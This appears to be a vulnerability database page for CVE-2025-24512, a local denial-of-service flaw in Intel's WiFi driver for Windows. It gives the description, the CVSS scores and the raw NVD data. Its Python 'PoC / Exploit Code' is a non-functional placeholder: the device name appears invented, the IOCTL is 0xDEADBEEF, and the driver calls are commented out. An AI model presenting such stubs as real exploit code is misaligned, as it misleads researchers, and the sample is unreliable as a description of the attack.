Security Vulnerability Report
中文
CVE-2025-24512 CVSS 5.6 MEDIUM

CVE-2025-24512

Published: 2025-11-11 17:15:42
Last Modified: 2026-04-15 00:35:42

Description

Improper input validation for some Intel(R) PROSet/Wireless WiFi Software for Windows before version 23.160 within Ring 2: Device Drivers may allow a denial of service. Authorized adversary with an authenticated user combined with a high complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are present with special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (low) impacts.

CVSS Details

CVSS Score
5.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Intel PROSet/Wireless WiFi Software for Windows < 23.160

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-24512 PoC - Intel WiFi Driver DoS Trigger # Note: This PoC is for educational purposes only import ctypes import struct import sys # Windows API structures class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [ ('nLength', ctypes.c_int), ('lpSecurityDescriptor', ctypes.c_void_p), ('bInheritHandle', ctypes.c_bool) ] def trigger_vulnerability(): """ Trigger improper input validation in Intel WiFi driver This PoC demonstrates the concept of sending malformed input to a vulnerable driver interface. """ print("[*] CVE-2025-24512 Intel WiFi Driver DoS Trigger") print("[*] Target: Intel PROSet/Wireless WiFi Software < 23.160") # Load vulnerable driver interface try: # Attempt to open handle to WiFi driver device_name = r"\\.\IntelWiFiDriver" # CreateFile API call would be made here # hDevice = ctypes.windll.kernel32.CreateFileA( # device_name.encode(), # GENERIC_READ | GENERIC_WRITE, # FILE_SHARE_READ | FILE_SHARE_WRITE, # None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None # ) print("[*] Attempting to communicate with Intel WiFi driver...") # Malformed IOCTL request ioctl_code = 0xDEADBEEF # Example IOCTL code input_buffer = b'\x00' * 1024 # Oversized/ malformed input output_buffer = ctypes.create_string_buffer(1024) bytes_returned = ctypes.c_ulong() # DeviceIoControl would be called here # result = ctypes.windll.kernel32.DeviceIoControl( # hDevice, ioctl_code, # input_buffer, len(input_buffer), # output_buffer, len(output_buffer), # ctypes.byref(bytes_returned), None # ) print("[!] Sending malformed input to trigger DoS condition") print("[!] This may cause system instability or BSOD") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-24512 Proof of Concept") print("Intel PROSet/Wireless WiFi Software < 23.160") print("Improper Input Validation DoS") print("=" * 60) if len(sys.argv) > 1 and sys.argv[1] == "--exploit": trigger_vulnerability() else: print("\nUsage: python cve-2025-24512.py --exploit") print("\nNote: This is a conceptual PoC. Actual exploitation") print("requires specific driver interface access and knowledge.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-24512", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:42.393", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation for some Intel(R) PROSet/Wireless WiFi Software for Windows before version 23.160 within Ring 2: Device Drivers may allow a denial of service. Authorized adversary with an authenticated user combined with a high complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are present with special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (low) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01398.html", "source": "[email protected]"}]}}